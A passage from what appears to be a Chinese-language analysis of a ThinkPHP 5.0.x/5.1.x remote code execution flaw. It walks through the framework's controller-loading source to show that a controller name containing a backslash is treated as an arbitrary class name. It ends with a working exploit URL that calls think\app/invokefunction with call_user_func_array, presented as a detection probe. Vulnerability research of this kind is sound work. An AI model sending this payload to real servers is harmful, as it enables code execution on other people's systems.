if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
...
}

跟进controller

1
2
3
4
5
6
7
8
9
10
11
12
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}

throw new ClassNotFoundException('class not exists:' . $class, $class);
}

再跟进parseModuleAndClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;//存在\
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}

$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}

return [$module, $class];
}

如果存在\则直接返回数据,其中$name是我们可控内容,而$name也恰好是类名,于是我们可以通过调用命名空间\类来进行敏感操作

漏洞利用

查找手册,找到url访问的具体细节

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

于是有通杀tp5.0.x和tp5.1.x的检测payload

http://127.0.0.1/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=checktp5rce